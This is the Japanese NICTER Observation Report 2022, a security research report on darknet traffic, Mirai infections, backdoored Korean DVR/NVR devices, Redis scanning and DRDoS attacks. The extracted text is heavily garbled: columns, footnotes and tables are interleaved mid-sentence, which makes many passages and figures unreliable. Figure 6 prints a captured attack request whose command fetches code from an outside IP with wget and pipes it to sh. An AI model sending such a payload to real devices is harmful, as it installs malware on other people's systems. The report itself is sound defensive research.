NICTER 観測レポート

2022

国立研究開発法人情報通信研究機構
サイバーセキュリティ研究所 サイバーセキュリティネクサス

NICTER 観測レポート 2022
国立研究開発法人 情報通信研究機構
サイバーセキュリティ研究所 サイバーセキュリティネクサス

2. ダークネット観測統計
2.1. 年間観測パケット数
NICTER プロジェクトのダークネット観測で確認された過去 10 年間の「年間総観測パケット数 *5 」「観測 IP
アドレス数（ダークネット観測の規模）*6 」「1 IP アド

1. はじめにレスあたりの年間総観測パケット数」を表 1 に示します．
本レポートは NICTER プロジェクト*1 においてダー

年間総観測パケット数は観測 IP アドレス数に影響される

クネット観測*2 と各種ハニーポット*3 が捉えた 2022 年

ため，表の右端にある「1 IP アドレスあたりの年間総観のサイバー攻撃の状況についてまとめたものです．

測パケット数」をインターネットにおけるサイバー攻撃

例年同様，様々な事象が NICTER の各種センサで観測

関連活動の活発さを表す指標として考えます．

されましたが，本レポートで説明する 2022 年の主な観測

2022 年は 1 IP アドレスあたりで約 183 万パケットが結果をまとめると次のようになります．

観測されました．過去 10 年で最も多かった 2020 年と同• ダークネット観測統計（2 章）：ダークネット観測に*1. プロジェクト公式サイト（https://www.nicter.jp/）

おける 1 IP アドレスあたりの年間総観測パケット数*2. インターネット上で到達可能かつ未使用の IP アドレス宛に届くパケットを観測する手法．未使用の IP アドレスであるため本来はパケッ
トが観測されないはずですが，実際にはサイバー攻撃に関連する探索活動（スキャン）や送信元 IP アドレスを詐称した DDoS 攻撃の跳ね返り（バックスキャッタ）等が多く観測されます．このパケットを分析することにより，インターネット上で発生しているサイバー攻撃の兆候や傾向等を把握することができます．

は 2021 年からわずかに増加し 183 万パケットでした．また，最も多く観測された 23/TCP 宛のパケッ
トの占める割合が前年の 11% から 23% へと増加しました．

*3. サイバー攻撃を観測・分析するための囮（おとり）システム．欠陥（脆弱性）を意図的に残したシステムあるいはその脆弱性を模擬するプ
ログラムを安全な環境のもとでインターネット上で動作させることにより，攻撃者の活動を把握することができます．

• IoT ボットの感染活動と感染機器（3 章）：昨年に続き，Mirai 亜種等の IoT ボットの活溌な活動が観測されました．日本国内では 5 月以降感染ホストの増*4. 分散型サービス妨害攻撃（Distributed Denial-of-Service Attack）．サーバやネットワーク等に意図的に過剰な負荷をかけることに加傾向が見られ，ピーク時には約 5000 ホストまで増より正常なサービスを妨害するサイバー攻撃．

加しました．また，韓国製の DVR/NVR 機器が未公*5. 年間総観測パケット数は，以前は攻撃通信と関係のないノイズを一部除去して算出していましたが，全観測期間について集計方法の見直しを行い，全ダークネットセンサ宛に届いた全パケット数に統一しました．そのため本レポートの観測統計値は，過去に公開した NICTER 観
測レポートの公表値と異なります．なお，数値はレポート作成時点でデータベースに登録されている値に基づきますが，集計後にデータベースの再構築等が行われ数値が増減することがあります．総観測パケット数
は NICTER で観測しているダークネットに届いたパケットの個数を示
すものであり，日本全体や政府機関に対する攻撃件数ではありません．

開の脆弱性を悪用され，IoT ボットに感染している実態が確認されました．

• DRDoS 攻撃の観測状況（4 章）： DDoS 攻撃*4 の一種である DRDoS 攻撃の観測結果からは，絨毯爆撃型の DRDoS 攻撃の継続，攻撃時間の長時間化，攻撃に悪用されるサービスの種類の増加が確認されま*6. 観測 IP アドレス数はその年の 12 月 31 日時点に稼働していたセンサの IP アドレス数です．

した．

1表1: 年間総観測パケット数の統計（過去 10 年間）
1 IP アドレスあたりの年

年間総観測パケット数

観測 IP アドレス数

年間総観測パケット数

2013

約 128.8 億

209,174

63,6822014

約 241.0 億

212,878

115,3352015

約 631.6 億

270,973245,5402016

約 1,440 億

274,872

527,8882017

約 1,559 億

253,086

578,7502018

約 2,169 億

273,292

806,8772019

約 3,756 億

309,769

1,231,331

2020

約 5,705 億

307,985

1,849,817

2021

約 5,180 億

289,946

1,747,685

2022

約 5,226 億

288,042

1,833,012程度の値であり，依然多くのサイバー攻撃関連パケット

く攻撃関連パケット」にわけて表した積み上げグラフをが観測されている状況が続いています．昨年よりも増加

図 1 に示します．

に転じた要因としては，Mirai 感染ホストによるパケット調査を除く攻撃関連パケット数は，2020 年以降ほぼ横が多く観測されたことが挙げられます．

ばいで推移しており，2022 年もその傾向に変化はみられ

2018 年頃から続いている海外組織からの調査目的とみませんでした．1 月中旬，3 月上旬，10 月中旬頃に短期間られるスキャンパケットは 2022 年も多く観測され，攻撃のピークがみられましたが，これらは全て，海外のホストの傾向を分析する際のノイズとなるため，昨年までと同から UDP の特定のハイポート宛のパケットが急増した

様に一定の判定ルール*7 を設けて調査目的のスキャンのことによるものです [3, 4]．

判定と除去を行いました．その結果，2022 年は 12,752 の2.3. 宛先ポート番号別のパケット数

IP アドレスからの約 2,871 億パケットが調査目的のスキ

1 年間にダークネット観測で確認された TCP と UDP

ャンとして判定され，これは 2022 年に観測された全パケのパケットについて，パケット数を宛先ポート番号別にットの約 54.9% を占めました．

2022 年は，GreyNoise*8 ，SANS Internet Storm Cen-

集計し，そのパケット数の多い上位 10 種類のポート番号

ter*9 などのセキュリティ関連組織が公開する情報も参照とその他の割合をまとめたグラフを図 2 に示します（青しながら，調査スキャンの送信元の IP アドレスを積極的

色は IoT 機器，橙色は Windows で主に利用されているに収集して，調査スキャナの判定を行いました．その結ポート番号）．図の左側が総観測パケット（広範囲のポー

果，調査スキャナと判定できた IP アドレス数は 2021 年

ト番号に対してスキャンする調査目的のパケットを含む）の 7,631 から約 1.7 倍に増えましたが，それぞれの IP アのグラフ，図の右側が調査を除く攻撃関連パケットのグドレスから観測されるパケット数はごく少量のものも多*7. ある 1 日における 1 つの IP アドレスからのパケット（TCP のSYN パケットと UDP パケット）について，

く，総観測パケット数に占める割合は 2021 年の 57.4%• 宛先ポート番号が 30 種類以上

からはやや減少しました．調査目的スキャン組織につい• 総パケット数が 30 万以上ては， 3.5 節で分析します．

の条件を共に満たす場合，この IP アドレスからの全パケットを調査目的のスキャンと判定します．また，大学や調査機関等，調査や研究を目的としたスキャンを行っていることが Web サイトなどから明らかで，スキャン元の IP アドレスが公開されている，あるいは，送信元 IP アド
レスの逆引き等で送信元の組織を確認できる場合にも，この IP アドレ
スを調査スキャナと判定します．詳細は [1, 2] を参照して下さい．

2.2. 日ごとの観測パケット数の推移
ダークネットにおける日ごとの観測パケット数の推移
を，「調査目的のスキャンパケット」と，総観測パケッ*8. https://www.greynoise.io/

トから調査目的のスキャンパケットを除いた「調査を除*9. https://isc.sans.edu/

2図1: ダークネットにおける日ごとの観測パケット数の推移（積み上げグラフ）

図2: 宛先ポート番号別の年間観測パケット数の割合

ラフです．右側のグラフのポート番号に対応するサービ

ンターフェイスが動作する 80/TCP，81/TCP も引き続スが，NICTER のダークネット観測が捉えた 2022 年のき上位に観測されました．Android Debug Bridge（ADB）

主な攻撃対象であるといえます．

の動作する 5555/TCP 宛のパケットは前年 13 位でした

観測パケット数の最も多い宛先ポート番号は，昨年までが，2022 年は 4 番目に多く観測されました．

と同様に Telnet サービスで使用される 23/TCP でした．

Windows で主に利用されているポート番号は，2021 年

しかしながら，23/TCP の全体に対する割合は 23.0% と，と同じく上位 10 位内に 1 ポートで，ファイル共有に使用

2021 年の 11.0%，2020 年の 16.3% から大きく増加しま

される Server Message Block（SMB）の 445/TCP が 8した．

位（前年 3 位）でした．

サーバ等の遠隔操作で使用される SSH（Secure Shell）

また，2021 年と同じく Key-Value ストアの Redis で使の 22/TCP が 2 番目に多く観測され，IoT 機器の Web イ

われる 6379/TCP，時刻情報を提供する NTP サーバで3

使われる 123/UDP，コンテナ型仮想実行環境を提供する

Docker において遠隔管理の機能を提供する Docker APIの 2375/TCP 宛のパケットも多く観測されました．
上位 10 種類に含まれない「その他のポート（Other

Ports）」の割合は，2022 年は 57.2%（前年 68.7%）へと減少しました．

3. 観測事象の分析
本章では，2022 年にダークネットおよび各種ハニーポ
ットで観測された次の 5 つの事象を分析します．

• Mirai 感染ホスト数の推移（3.1 節）
図3: Mirai の感染ホスト数の推移（全体）• 韓国製 DVR/NVR の脆弱性（3.2 節）• 送信パケット数の多いホストに関する調査（3.3 節）• Redis 関連通信（6379/TCP）の観測（3.4 節）• 調査目的スキャン組織の分析 (3.5 節)

3.1. Mirai 感染ホスト数の推移
IoT ボットとして有名な Mirai とその亜種は，スキャン時に生成する TCP の SYN パケットに固有の特徴*10 を持っています．そのため，ダークネット観測においてこの特徴を持つパケットの送信元 IP アドレスを集計すること
により，Mirai やその亜種に感染したホストの台数を推計することができます．
本節では，この手法に基づいて，世界全体と日本国内に
図4: Mirai の感染ホスト数の推移（日本）

おける Mirai とその亜種の感染ホスト（以降，「Mirai 感
染ホスト」と呼ぶ）を推計し，その推移を分析します．

3.1.1 Mirai 感染ホスト数の推移（全体）この Mirai 感染ホスト数の増加は，「韓国製 DVR/NVR

世界全体における Mirai 感染ホスト数の日ごとの推移

機器を狙った感染活動の増加」と「PPPoE セッション再を図 3 に示します．感染ホスト数は 2021 年と比較して接続による見かけ上の感染ホスト数の増加」が主な原因

微増し，1 日あたり 6 万台から 14 万台程度で推移しましでした．

た．6 月，7 月，9 月にみられる急増は，6 月は中国で，7�韓国製 DVR/NVR 機器を狙った感染活動の増加 4 月

月と 9 月はエジプトで，感染ホスト数がそれぞれ一時的

24 日の増加を受けて，5 月 12 日に Mirai 感染ホストをに急増したことが原因でした．

調査した結果，確認された 1,217 台の感染ホストのうち

3.1.2 Mirai 感染ホスト数の推移（日本国内）

648 台で DVR/NVR 機器のバナーが確認されました．バ

日本国内における Mirai 感染ホスト数の日ごとの推移

ナーをメーカごとに集計すると，韓国メーカ数社の製品を図 4 に示します．2022 年のはじめの感染ホスト数は 1が 631 台を占めていました．このことから，これらの日あたり数百台程度で推移しましたが，4 月 24 日に増加
し，それ以降，感染ホスト数は 1 日あたり 1 千から 5 千*10. TCP ヘッダのシーケンス番号と宛先 IP アドレスが同じ値で，送信元ポート番号が 1024 以上という特徴．

台程度で推移しました．

4

DVR/NVR 機器が新たに攻撃対象として追加されたた製造元

筐体（一例）

管理ログイン画面 2

め，感染ホスト数が急増したと考えられます．これらの機器の詳細については 3.2 節で説明します．

�PPPoE セッション再接続による見かけ上の感染ホスト数の増加

機器が PPPoE を使用してインターネットへ接続している場合，その機器が IoT ボットに感染したりして過負荷状態になると PPPoE のセッションを維持できなくなり，PPPoE の再接続により機器の IP アドレスが変わってしまうことが確認されています [5, 6]．その結

図5: NICT で調査した韓国製 DVR/NVR 機器の例

果，Mirai 感染ホストとして観測される IP アドレス数が増加し，感染ホスト数が“見かけ上”多く計上されてしま

POST /cgi-bin/xxx.cgi HTTP/1.1
Host: 192.0.2.1:80
Content-Length: 112
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/96.0.4664.110 Safari/537.36

います．
この事象の具体例を紹介します．4 月 24 日に確認されcategory=system_cmd&cmd=wget+-O-+http%3A%2F%2F45.124.84.209%2F.3%7Csh&key=E6126759DBEC167A&pwd=3SfD%2FAJvC7E%3D

た感染ホスト 2,439 台のうち，66% に当たる 1,598 台は同じ AS（Autonomous System）に属していました．こ

図6: 実機で観測された攻撃ペイロード（一部修正有）の AS では，その IP アドレスの逆引きホスト名に県域情報が含まれていたため，そのホスト名を分析したとこ
店に連絡を取り，ファームウェアの修正に協力しました．

ろ，一部の都道府県に偏りがあることがわかりました．また，各 IP アドレスごとに観測されたパケット数は少なく，3.3. 送信パケット数の多いホストに関する調査

Mirai 感染ホストを時系列で分析したところ，最大で同時に 9 台程度しか確認されませんでした．これらの結果か

ダークネット宛に大量にパケットを送信するホストにら，同じ機器が PPPoE のセッションの再接続を繰り返は，調査スキャナのように広範囲のポートセットを対象

しその IP アドレスが付け変わってしまったため，見かけにスキャンパケットを大量にばら撒くもののほかに，数上感染ホスト数が増加したと考えられます．同様の事象

ポートの宛先に大量のパケットを送信するホストが存在は，この AS で複数回発生していました．

します．後者のホストからハニーポット宛に届いた通信を分析すると，IoT 機器等の既知の脆弱性を悪用してマ

3.2. 韓国製 DVR/NVR 製品の脆弱性

ルウェア感染を狙う攻撃ペイロードを送信している場合

前節で述べたように，2022 年における国内の Mirai 感が少なくありません．このようなホストは，攻撃対象のホ

染ホスト数増加は，韓国製の DVR/NVR 製品を狙った攻ストをボット化しようとするボットリクルータであると撃の増加が原因の一つでした．

考えられます．

そこで，日本国内で Mirai 亜種への感染が確認された

3.3.1 送信元ホストの特徴

韓国製 DVR/NVR 製品のうち，国内で販売されている 52022 年の 10 月 1 日から 12 月 31 日の間に，日ごとの社 8 種類の機器を調査しました（図 5）．その結果，8 機

観測パケット数の多い上位 20 ホスト（ただし調査スキャ

種中 7 機種でメンテナンス用と推測されるバックドアがンホストを除く）について，そのパケットの Mirai の特確認されました．また，これらの機器を安全な環境でイン徴（3.1 参照）の有無に着目してグループわけして分析しターネットに接続したところ，4 社の製品のバックドアがたところ，表 2 のような特徴があることがわかりました．

攻撃者によって実際に悪用されていることが確認されま

Mirai の特徴を持つホスト群（グループ A）は，一般ユした（図 6）．

ーザが家庭で使う ISP 回線に多く存在しました．送信元

この結果を受け，我々は脆弱性報告を届け出る [7, 8] との機器について調査すると，全てのホストで機器を特定

ともに，当該機器を販売する日本国内の複数の販売代理できたわけではありませんが，DVR やホームルータが比5表2: 送信パケット数の多いホストの特徴
グループ A（Mirai の特徴あり）

グループ B（Mirai の特徴なし）

IoT ボットに感染した機器

ホストの特徴サーバ系（DVR 13.1%, ホームルータ 11.0%）

ユニーク IP 数

383

108

平均パケット数/日

646,709

3,320,858

平均宛先ポート数/日

2.13

4.91

送信元国別割合

米国 (28.2%), 韓国 (19.3%), 中国 (15.9%)

米国 (51.9%), オランダ (9.3%), スイス (5.6%)

AS 番号別割合

AS4766(13.3%), AS53667(6.5%), AS211252(3.9%)

AS211252(33.3%), AS53667(18.5%), AS51852(5.6%)

継続日数30 日以上 (13.3%) 10～30 日 (22.7%)

30 日以上 (10.2%), 10～30 日 (38.9%),4～9 日 (24.3%), 3 日以下 (39.7%)

4～9 日 (33.3%), 3 日以下 (17.6%)

30 日以上継続国

韓国 (35.3%), 中国 (19.6%), 台湾 (15.7%)

米国 (72.7%), ドイツ (9.1%), オランダ (9.1%)

30 日以上継続 AS

AS4766(17.6%), AS38365(9.8%), AS17858(9.8%)

AS53667(63.6%), AS206264(18.2%), AS47890(9.1%)

較的多くみられ，多くのホストはスキャンの継続期間が 3

撃対象の製品・脆弱性ごとのディレクトリに以下のファ日以内と短期間で観測されなくなることから，再感染をイルが置かれていました．

繰り返す IoT ボットがこのグループを構成していると考• スキャン対象の IP アドレスリスト（国別）

えられます．

• ポートスキャンの実行スクリプト

一方，Mirai の特徴を持たないホスト群（グループ B）• ポートスキャン結果（IP アドレスとポート番号の組）

は，ホスティングサービスのネットワークに存在するホ• 対象ホストに対して exploit を送信する攻撃コード

ストが多く，グループ A とは対照的に 10 日以上スキャ• マルウェア検体

ンが継続するホストが約半数を占めています．平均スキャンパケット数もグループ A の約 5 倍と多く，宛先ポー

これらのファイルが全てのディレクトリで完備されてト数も平均するとグループ A の倍の数をターゲットにしいたわけではありませんが，例えば multi と書かれたデており，攻撃者が IoT 機器をボット化するために，リクィレクトリには，Focus H&S 社製 DVR 製品の脆弱性

ルーティング活動の足場としてこれらのホストを利用し（CVE-2022-35733）を悪用して機器にマルウェアをダウていると考えられます．

ンロードする Go 言語で書かれたコードの他に，攻撃対それを裏付ける証拠として，グループ B のホストでは象とみられる米国，日本，韓国，ドイツ，オランダ等の国

Apache や nginx 等のウェブサーバが適切なセキュリテ

ごとの IP アドレスリストが保存されていました．

ィ設定がされずに動作しており，攻撃者が使用したとみら

また，他のディレクトリでは shodan の検索結果を参照

れるスキャンツールやスキャン結果，脆弱性を使ってマルしながら脆弱なホストの概数をメモしたテキストファイ

ウェア感染させるためのコードやマルウェア検体などがルなどが保存されていました．攻撃者は脆弱性ごとにタ

意図せず公開されているケースがあります．攻撃者が使ーゲットとなるホストの多い国に狙いを定め，zmap など

用する TTP（Tactics, Techniques, and Procedures）ののスキャンツールを使って実際に攻撃ペイロードを送信

把握はサイバー攻撃分析に有用です．次節ではグループ

する IP アドレスを事前に割り出した上で，それらのホス

B のあるホスト（以下ホスト B と呼ぶ）で発見した攻撃

トに対してピンポイントで脆弱性を悪用していると考えツール一式について紹介し，攻撃者の TTP について考察

られます．

します．

確認できた攻撃ツールを攻撃対象の製品や脆弱性ごと

3.3.2 攻撃元ホストで使用されていた攻撃ツールにまとめた結果を表 3 に示します．攻撃対象を製品カテ

ホスト B では認証なしでディレクトリリスティングがゴリ別にみると，DVR/NVR やホームルータ製品が主な有効になっており，Web ブラウザでアクセスすると，攻ターゲットになっており，悪用する脆弱性には新旧を問

6

日現在，依然として 492 ホストが Redis がインターネッ
トからアクセス可能な設定で運用されており，AWS 上に

128 ホストと最も多くのホストが存在します．
Redis は信頼できる接続元からのみアクセスされることを想定して設計されており，それ以外のアクセス，例
えばインターネット経由で Redis が動作するポートに
直接アクセスすることは制限することが推奨されていま
す*12 ．Redis を運用している方は意図せずインターネッ
トに公開していないかどうかを改めて確認することを推奨します．

3.5. 調査目的スキャン組織の分析
図7: 6379/TCP 宛送信元ホスト数とパケット数の推移

調査目的とみられるスキャンパケットは 2018 年頃から急増し，2022 年は総観測パケットの約 54.9% に相当し，
攻撃関連パケットを上回る状況が続いています．調査スキ

わず対策が進んでいない脆弱性が選定されている印象をャンパケットを送信元の国・地域ごとに集計すると，多い受けます．攻撃対象の国についても，当該製品が多くみら順にアメリカ（約 35.3%），イギリス（約 22.5%），ロシアれない国はそもそもスキャン対象から除外されているこ（約 22.3%），中国（約 3.6%），香港（約 3.1%）でした*13 ．

とがわかります．

�年間 10 億パケット以上観測されたホスト 1 年間に 10

3.4. Redis 関連通信（6379/TCP）の観測

億パケット以上観測された送信元ホスト数は 19（ロシNICTER ダークネットで観測される Redis 宛の通信

ア 11，イギリス 5，アメリカ 1，ウクライナ 1，香港 1）あ（6379/TCP）は 2021 年以降増加傾向にあり，2021 年おり，この 19 ホストからのパケットの合計は約 347 億で，調よび 2022 年には宛先ポート別の観測パケット数として 5

査スキャン全体の約 12% を占めていました．飛びぬけて番目に多く観測されました．Redis の脆弱性を悪用して多くのパケットを送信していたのは，ロシアの AS212283

マルウェア感染を試みる攻撃はこれまでにも報告されてRoza Holidays Eood のホストで，約 91 億パケットが観いますが，2 月 18 日には特定の Linux ディストリビュー

測されました（2 位は約 34 億）．このホストを含むロシア

ションに影響を及ぼす Redis の脆弱性（CVE-2022-0543）の 11 ホストはいずれも送信元の実体がわかっていません

が公開され，3 月 8 日には脆弱性の発見者が PoC（Proof

が，どのホストも半年から 1 年中継続してスキャンが観

of Concept）を公開 [9] ，3 月 24 日には Juniper Threat

測されました．イギリスの 5 ホストは全て The RecyberLabs がこの脆弱性を悪用する攻撃の観測を報じていま

Project*14 ，アメリカの 1 ホストは NETSCOUT 社のス

す [10] ．

キャナ*15 で，どちらも IP アドレスの逆引きから送信元の組織を確認することができました．ウクライナと香港

Redis が使用する 6379/TCP を探索する通信のダークのホストの送信元の実体はわかっていません．

ネットにおける観測状況（図 7）をみると，2022 年は2021 年と比べるとパケット数に減少傾向がみられるものの，依然として高い水準を保っています．また，図にみら*11. 製品ベンダは特定できていない．製品の Web 管理画面に”CMS
Web Veiwer” という文字列が表示される DVR 製品．

れるホスト数の急増は，断続的な中国のホスト数の増加*12. https://redis.io/docs/management/security/が原因でした．

*13. これらの国・地域に割り当てられた IP アドレスからのパケットが観測されたということであり，調査スキャンの実施主体がその国に所属しているということではありません．

9 月 1 日には調査スキャン組織である Censys が認証無しでアクセス可能な Redis サーバの実態についてブログ*14. https://www.recyber.net/

を公開しましたが [11]，日本国内では，2023 年 1 月 20

*15. https://www.arbor-observatory.com/

7表3: ホスト B で確認された攻撃対象製品／脆弱性の一覧
攻撃対象のベンダ等

機器の種類

攻撃対象の脆弱性

攻撃対象の国

攻撃対象のポート(CMS Web Viewer*11 )DVR/NVR-

Japan, US, Korea

8000/tcp

FocusH&S

DVR/NVR

CVE-2022-35733

Japan, US, Korea

80/tcp, 8080/tcp + 6 more ports

Pinetron

DVR/NVR-

Japan, Korea, Taiwan

7000/tcp, 17000/tcp, 80/tcp

MVPower

DVR/NVR

CVE-2016-20016

Unknown

80/tcp

Zhone

Home Gateway

CVE-2014-9118

Thai, Brazil, Indonesia

80/tcpRealtek

RouterCVE-2021-35394

Asia (excluding Japan)

9034/udp

Realtek

RouterCVE-2014-8361

Japan, Ukraine

52869/tcp

NetgearRouter-Unknown

80/tcp, 8080/tcp, 8888/tcp, 8000/tcp

Zyxel

UTM/VPN

CVE-2022-30525

Unknown

80/tcpFuel CMS

CMS

CVE-2018-16763

Unknown

80/tcp�年間 1 億パケット以上観測されたホスト 2022 年の 1

表4: 調査目的スキャンの送信元の特定結果

年間に 1 億パケット以上観測された調査スキャンの送信

特定の結果

元ホスト数は 665 あり，これらのホストから観測された

特定可能パケット数は約 2,069 億パケットでした．2022 年に調査
スキャナと判定された IP アドレス数は 12,752，調査スキ

IP アドレス数

パケット数

9,486（69 組織） 約 1,545 億（約 54%）

特定不可

3,266

約 1,326 億（約 46%）

合計

12,752

約 2,871 億

ャンの観測パケット数は約 2,871 億ですから，約 5% のIP アドレスが，調査スキャン全体の約 72% にあたるパケットを送信していたことがわかります．

4. DRDoS 攻撃の観測状況

�調査組織の特定 2022 年に調査スキャナと判定された

DRDoS（Distributed Reflection Denial-of-Service）攻12,752 の IP アドレスについて，IP アドレスの逆引き撃とは，インターネット上の DNS や NTP 等のサーバを（PTR レコード），Whois，IP アドレス上で動作する Web

通信の増幅器として悪用し，攻撃対象に大量のパケットサイトなどを調査した結果，調査組織が特定できた IP アを送付する DDoS 攻撃の一種です．我々は横浜国立大学

ドレス数，特定できた IP アドレスから観測したパケッ

吉岡研究室と共同で，DRDoS 攻撃を観測するハニーポ

ト数をそれぞれ表 4 に示します．9,486 の IP アドレスットである AmpPot [12, 13] の研究開発を進めています．

が 69 の組織に紐づくことが特定でき，特定できた調査

本章では，NICTER プロジェクトで運用中の AmpPot

スキャナのうち，観測されたパケット数が最も多かったが 2022 年に観測した DRDoS 攻撃の傾向について報告のは Censys*16 で，508 の IP アドレスから合計で約 476

します．

億パケットが観測されました．次に多かったのは The

本章で分析に使用するデータの観測期間および観測規

Recyber Project で，279 の IP アドレスから約 467 億パ

模は次のとおりです．

ケットが観測されました．以降，Shadowserver（529 IP
アドレス，約 82 億）*17 ，Stretchoid（2,973 IP アドレス，• 観測期間：2022 年 1 月 1 日～12 月 31 日

約 70 億）*18 ，cyber.casa（252 IP アドレス，約 62 億）• 観測規模：AmpPot 9 台（Proxied モード 7 台，Agnostic モード 2 台*20 ）*19 の順に多く観測されました．

調査組織が特定できた 9,486 の IP アドレスから観測*16. https://censys.io/

されたパケット数の合計は約 1,545 億パケット（約 54%）*17. https://www.shadowserver.org/に留まり，調査組織が特定できなかった 3,266 の IP アド*18. https://stretchoid.com/

レスから観測されたパケットは約 46% に達しました．

*19. https://cyber.casa/*20. Proxied モードとは，実際のサーバプログラムをハニーポットと8

DRDoS 攻撃では攻撃者から大量のパケットが送信さ

表5: DRDoS 攻撃に悪用されたサービスれるため，攻撃を観測する AmpPot でも大量のパケット(a) Proxied モード（7 台）が観測されます．そこで AmpPot では，攻撃件数や規模を把握しやすいように，AmpPot ごとに同一の攻撃対象

ポート番号

サービス名

攻撃件数

（IP アドレス）に対する連続したパケット群をまとめて 1

123/UDPNTP

13,396,032

件の攻撃として集計しています．本章で記述する攻撃件

53/UDP

DNS

4,762,946

数とはこの集計に基づく件数で，特に断らない限り，上記の 9 台の AmpPot の観測結果を合計したものです．

4.1. DRDoS 攻撃の観測結果
4.1.1 攻撃件数の推移

161/UDPSNMP

1,668,981

11211/UDP

Memcached

1,467,420

19/UDP

CharGen429,531

1900/UDP

SSDP

155,411

17/UDP

QoTD

10,022(b) Agnostic モード（2 台，上位 10 種類）

2022 年 に AmpPot が 観 測 し た DRDoS 攻 撃 件 数 の日ごとの推移を図 8 に示します．2022 年の 1 年間に，

AmpPot は累計で約 3,465 万件（前年約 6,795 万件），1
日平均で約 9.5 万件（前年約 19 万件）の攻撃を観測しました．そのうち，日本宛の攻撃は累計で約 61 万件（前年約

ポート番号

サービス名

攻撃件数

389/UDP

CLDAP

4,970,981

123/UDPNTP

2,335,146

37810/UDP

Dahua Discovery

473,128

3702/UDP

WSD

323,291

50 万件），1 日平均で約 1,678 件（前年約 1,375 件）でし

443/UDPDTLS

294,945

た．累計の攻撃件数は前年と比較して半減しましたが，こ3283/UDP

ARMS

235,981

れは前年の攻撃件数が大規模な絨毯爆撃型*21 の DRDoS

161/UDP

SNMP

223,588

攻撃により多く計上されてしまったためで，前々年（約19/UDP

CharGen

119,917

3,120 万件）と比較すると同程度でした．

53/UDP

DNS

102,995

1434/UDP

MSSQL

97,4604.1.2 国・地域別の被攻撃件数
国・地域別の被攻撃件数の割合を図 9 に示します*22 ．
例年同様，上位 5 カ国のみで攻撃件数の半数以上を占めな変化はありませんでした．一方で，1 万件以上の攻撃がました．この中でも，ブラジル，バングラデシュ，韓国に観測されたサービス数（ポート番号の数）は，2019 年は

おいては，絨毯爆撃型の DRDoS 攻撃が頻繁に観測され19 種類，2020 年は 35 種類，2021 年は 38 種類でしたが，ており，その結果被攻撃件数が増加しました．

2022 年は 151 種類に増加しました．この急増は，ある製

4.1.3 攻撃の継続時間

品が提供するサービスを悪用する攻撃が多数のポートで観測されたためです．この事象については， 4.2.3 節で取AmpPot が観測した DRDoS 攻撃の継続時間の分布を
図 10 に示します．従来は 10 分未満の短時間の攻撃が多り上げます．

くを占めていましたが，2022 年は 1 時間以上継続した攻

4.1.5 マルチベクタ型の攻撃撃の割合が約 16% に増加しました（前年約 2.9%，前々

複数種類の手法を組み合わせたマルチベクタ型の年約 4.3%）．また，2022 年に観測された最長の攻撃は，

DRDoS 攻撃は 2022 年も継続しています．AmpPot が観AWS (Amazon Web Services) の香港リージョンの IPして用いる AmpPot のモードです．Agnostic モードとは，受信パケットに対して（そのサービスのプロトコルを無視して）大きな応答を返す AmpPot のモードです．Proxied モードの AmpPot は現在 7 種類のサービスで観測を行っており，Agnostic モードの AmpPot は UDPの全ポートで観測を行っています．詳細は [12, 14] を参照して下さい．

アドレスを狙った攻撃で，約 31 日間にわたって攻撃が観測されました．

4.1.4 攻撃に悪用されたサービス*21. 単一の IP アドレスではなく，AS や ISP 等のネットワークを狙った DDoS 攻撃のこと．

AmpPot が観測した DRDoS 攻撃について，攻撃に悪用されたサービスの一覧とその攻撃件数を表 5 に示しま*22. 国情報の推定には MaxMind 社（https://www.maxmind.com/）の GeoIP データベースを使用しました．

す．攻撃に悪用された主要なサービスは，昨年から大き9600,000

4,000

450,000

3,000

300,000

2,000

150,000

1,000

02022-01-01

2022-03-01

2022-05-01

2022-07-01

2022-09-01

0

2022-11-01

図8: 日ごとの DRDoS 攻撃件数の推移（左軸：全体，右軸：日本宛）

1

1
15.7%

18.4%

17.3%

38.2%
14.6%
9.2% 9.5%

31.9%

35.2%
10

10.1%

1

1

10

図10: 攻撃継続時間
図9: 国・地域別の被攻撃件数測した DRDoS 攻撃の手法の種類数の割合を図 11 に示

1.9%
5.5%

します．2 種類以上の手法を組み合わせて攻撃されたホ

14.3%

ストは，2022 年 12 月は全体の約 20%（前年同月約 17%，

1
2
3
4

前々年同月約 23%）でした．

4.2. DRDoS 攻撃の観測事例

78.4%

4.2.1 ロシア・ウクライナに関連する DRDoS 攻撃の観測事例

2022 年 2 月に始まったロシアのウクライナ侵攻に関図11: 攻撃手法の種類数

連したサイバー攻撃が報告されています [15] ．我々のAmpPot でも，本事象に関連すると推測される攻撃が観測されました．

10

8,000狙ったと推測される攻撃も観測されました．

4.2.3 ある製品のデバッグコマンドを悪用した攻撃事例
6,000

4.1.4 節で述べたように，2022 年に AmpPot で 1 万件以上の攻撃が観測されたサービス（ポート番号）の数は

151 種類に増加しました．この急増は，ある特定の製品が4,000提供するサービスを悪用する攻撃が多数のポートで観測されたことが原因でした．

2,000

Mitel MiCollab が提供する電話システムには，デバッ
02022-01-01

2022-04-01

2022-07-01

グ用のコマンドが存在し，そのコマンドを悪用すること

2022-10-01

により理論上 22 億倍に通信を増幅できることが指摘され

図12: ロシア・ウクライナ宛の日ごとの DRDoS 攻撃件ています [17] ．脆弱性が報告された直後には，NICTER

数の推移のダークネットセンサでもこの製品の探索と推測される
スキャンが観測されました [3] ．
通常，このサービスは 10074/UDP で動作しています
が，一部の攻撃者がこのコマンドを多くのポートで検証

AmpPot で観測されたロシア・ウクライナ宛の日ごと

し，応答があったサーバを実際に攻撃の踏み台として悪の攻撃件数の推移を図 12 に示します．2022 年の 1 年間に，累計でロシア宛の攻撃が約 56 万件（前年約 60 万件），
ウクライナ宛の攻撃が約 14 万件（前年約 13 万件）観測用した結果，AmpPot の観測結果においても様々なポートで攻撃件数が増加しました．10074/UDP 以外のポートで該当のサービスが動作しているのかは未確認ですが，されました．これらの攻撃件数には，ウクライナ侵攻に関このサービスを悪用する攻撃は 2022 年の 4 月から 6 月

連しない攻撃が多く含まれるため，攻撃件数自体は前年のみ観測されており，一部の攻撃者による一時的な悪用と比較しても両国ともにほぼ横ばいでした．

であると考えられます．

一方で，ウクライナ政府機関を狙った攻撃（IP アドレスの逆引きのホスト名に”.gov.ua” が含まれるもの）に着

5. おわりに目すると，2021 年は年間で 405 件だったのに対し，2022
年は年間で 1062 件の攻撃が観測されました．これらの攻2022 年においても，組織のサイバーセキュリティを脅

撃対象の中には，ウクライナ政府や軍，政府系の銀行等がかす脅威度の高い脆弱性が多数公表され，我々も CSIRT

含まれていました．

